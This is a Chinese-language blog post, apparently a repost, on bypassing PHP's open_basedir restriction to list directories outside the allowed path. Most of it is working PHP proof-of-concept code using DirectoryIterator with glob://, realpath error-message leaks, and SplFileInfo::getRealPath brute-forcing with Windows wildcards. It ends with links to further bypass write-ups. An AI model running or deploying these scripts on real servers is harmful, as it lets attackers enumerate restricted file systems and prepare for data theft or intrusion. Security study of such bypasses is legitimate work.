突破open_basedir进行列举目录

open_basedir

open_basedir 是php设置中为了防御php跨目录进行文件(目录)读写的方法,所有PHP中有关文件读、写的函数都会经过open_basedir的检查。Open_basedir实际上是一些目录的集合,在定义了open_basedir以后,php可以读写的文件、目录都将被限制在这些目录中。

利用DirectoryIterator + Glob 直接列举目录

DirectoryIterator 是php5中增加的一个类,为用户提供一个简单的查看目录的接口
glob: 数据流包装器是从 PHP 5.3.0 起开始有效的,用来查找匹配的文件路径。
利用代码 在5.3以上可列举


printf('open_basedir : %s 
'
, ini_get('open_basedir')); $file_list = array(); // normal files $it = new DirectoryIterator("glob:///*"); foreach($it as $f) { $file_list[] = $f->__toString(); } // special files (starting with a dot(.)) $it = new DirectoryIterator("glob:///.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}
"
; } ?>

突破open_basedir进行列举目录_第1张图片

realpath列举目录

Realplace 函数是php种将一个路径规范化成为绝对路径的方法,它可以去掉多余的…/ ./等字符,能将相对路径转换为绝对路径,开启open_basedir后,当我们传入的路径是一个不存在的文件时候,他将返回false,当我们传入一个不在open_basedir种的文件时,他将抛出错误,并且显示文件名字
突破open_basedir进行列举目录_第2张图片突破open_basedir进行列举目录_第3张图片所以根据如此借助windows 通配符


ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s
"
, ini_get('open_basedir')); set_error_handler('isexists'); $dir = 'd:/test/'; $file = ''; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_'; for ($i=0; $i < strlen($chars); $i++) { $file = $dir . $chars[$i] . '<><'; realpath($file); } function isexists($errno, $errstr) { $regexp = '/File\((.*)\) is not within/'; preg_match($regexp, $errstr, $matches); if (isset($matches[1])) { printf("%s
"
, $matches[1]); } } ?>

这个POC只能列举首字母不同的文件。

SplFileInfo::getRealPath列举目录

使用的方式是SplFileInfo::getRealPath
都是获取绝对路径用的。我们在SplFileInfo的构造函数中传入文件相对路径,并且调用getRealPath即可获取文件的绝对路径,而且这个方法没有考虑open_basedir。在传入的路径为一个不存在的路径时,会返回false;在传入的路径为一个存在的路径时,会正常返回绝对路径。
这个可以列举首字母相同文件

<meta charset="utf-8">
<p>please input for example ?file=F:\phpStudy\</p>

ini_set('open_basedir', dirname(__FILE__));
printf("open_basedir: %s
"
, ini_get('open_basedir')); $basedir = $_GET['file']; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_.'; $s=''; $arr=array("\\"); $resut = array(); for($j=1;$j<8;$j++)//可能开头$j位相同 { for ($i=0; $i < strlen($chars); $i++) { foreach($arr as $value) { $info = new SplFileInfo($basedir."\\" .$value.$chars[$i] . '<><'); $re = $info->getRealPath(); if ($re) { if(!in_array($re,$resut)) { array_push($resut,$re); } $re = substr($re,strripos($re,"\\")+1,$j); $s = $s.'|'.$re; //echo $s . '
';
ob_flush(); flush(); } } } $arr= explode('|',$s); } print("结果如下
"
); foreach($resut as $value) { echo $value."
"
; } ?>

还有很多参考大佬博客
https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html#0x04-splfileinfogetrealpath
利用fastcgi 突破open_basedir
https://www.anquanke.com/post/id/186186

你可能感兴趣的:(突破open_basedir进行列举目录)